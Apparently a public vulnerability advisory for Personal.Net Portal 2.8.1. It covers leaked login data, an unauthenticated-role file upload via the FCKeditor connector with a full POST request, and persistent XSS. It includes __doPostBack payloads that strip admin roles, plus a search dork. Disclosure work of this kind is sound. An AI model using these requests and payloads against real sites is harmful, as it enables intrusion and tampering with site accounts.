扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 |
''' ________ __ ____ |\/|/ __ \ /\| || |_ \ | \/ | || | /\ | || | |_) | | |\/| | || |/ /\ \| || |_ < | || | |__| / ____ \ |__| | |_) | |_||_|\____/_/\_\____/|____/ ''' Abysssec Inc Public Advisory Title:Personal.Net Portal Multiple Vulnerabilities Affected Version :Personal.Net Portal Version 2.8.1 Discovery:www.Abysssec.com Vendor :http://www.dotnet-portal.net/Home.tab.aspx Download Links :http://sourceforge.net/projects/dotnetportal/ Dork :"Personal .NET Portal" Description : =========================================================================================== This version of Personal.Net Portal(2.8.1) have Multiple Valnerabilities : 1- User's Information Revelation 2- Upload a file with normal user that have low privilage 3- Persistent XSS for DDOS and remove Roles and ... (XSRF) User's Information Revelation: =========================================================================================== With this path you can find User's Information of site: http://Example.com/Data/Statistics/Logins.xml this Information includes: UserId LoginCount LastLogin LoginName( for Example Admin ) FirstName LastName Upload a file with normal user that have low privilage: =========================================================================================== After you logged in as a normal user (for example userName:user and Password:user), in the following path you can upload a specific file with POST Method which is containing user's cookie. http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/ For example this POST request: POST http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1 Host: Example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://Example.com/FCKeditor/editor/filemanager/browser/default/frmupload.html Cookie: ASP.NET_SessionId=wonb3e55eqgbrpnqdhcqly55; dotnetportal.auth=CE8C1A54B9676CDB4F911C820B4F59C50C75F6684E839578C59D289707A340E9EA444119E44E2B155612375255900C6FD3E0C94463E4C0ECEB929872CF2505FC Content-Type: multipart/form-data; boundary=---------------------------125671705429877 Content-Length: 500 -----------------------------125671705429877 Content-Disposition: form-data; name="NewFile"; filename="shell.zip" Content-Type: application/octet-stream ... any thing -----------------------------125671705429877-- Here we have limitation of uploading specific file extension implementing by FckEditor v2 that bypassing this barrier is on you. Uploaded files will be placing in this path: http://Example.com/Data/Resources/file/ Vulnerable Code: The misconfiguration is in ...\FCKeditor\editor\filemanager\connectors\aspx\config.ascx ln 42: private bool CheckAuthentication() { return Page.User.Identity.IsAuthenticated; } Persistent XSS and XSRF: =========================================================================================== In these Modules you can find Persistent XSS that data saves with no sanitization: 1- Module name: CSVTable Field: text Vulnerable Code: ...\Modules\CSVTable\editcsvtable.ascx ln 39: sw.Write(txt.Text); For Example you can enter this script for DDOS: <script>__doPostBack('ctl071$Linkbutton21','')</script> --------------------------------------------------------------------------------------- 2- Module name: Feedback Fields : From , Title , Message Vulnerable Code: ...\Modules\Feedback\feedback.ascx ln 55,56,57: r["From"] = txtFrom.Text; r["Title"] = txtTitle.Text; r["Message"] = txtMessage.Text; --------------------------------------------------------------------------------------- 3- Module name: Html Field: text Vulnerable Code: ...\Modules\Html\edithtml.ascx ln 39: w.Write(txt.Text); --------------------------------------------------------------------------------------- 4- Module name: MyUser Fields : First name , Sur name Vulnerable Code: ...\Modules\MyUser\MyUser.ascx.cs ln 55:UserManagement.SaveUser( Page.User.Identity.Name, pwd, txtFirstName.Text, txtSurName.Text, txtEMail.Text, new System.Collections.ArrayList(principal.Roles), principal.Id); For Example you can enter this script for remove Admin Role: <script>__doPostBack('Content$ctl14$gridRoles$ctl02$ctl00','')</script> or this for remove User Role: <script>__doPostBack('Content$ctl14$gridRoles$ctl03$ctl00','')</script> and when Admin see this page: http://Example.com/default.aspx?TabRef=adminusers the Role will be removed and program will be DDOS. --------------------------------------------------------------------------------------- 5- Module name: News Field: text Vulnerable Code: ...\Modules\News\editnews.ascx ln 70:dr["Text"] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[4].Controls[1]).Text; --------------------------------------------------------------------------------------- 6- Module name: Quotations Field: text Vulnerable Code: ...\Modules\Quotations\editquotations.ascx ln 39:sw.Write(txt.Text); --------------------------------------------------------------------------------------- 7- Module name: Table Field: column Vulnerable Code: ...\Modules\Table\edittable.ascx ln 65: dr[i] = ((System.Web.UI.WebControls.TextBox)repAddRow.Items[i].FindControl("data")).Text; ln 137:dr[i] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[i + 2].Controls[0]).Text; --------------------------------------------------------------------------------------- =========================================================================================== |
体验盒子
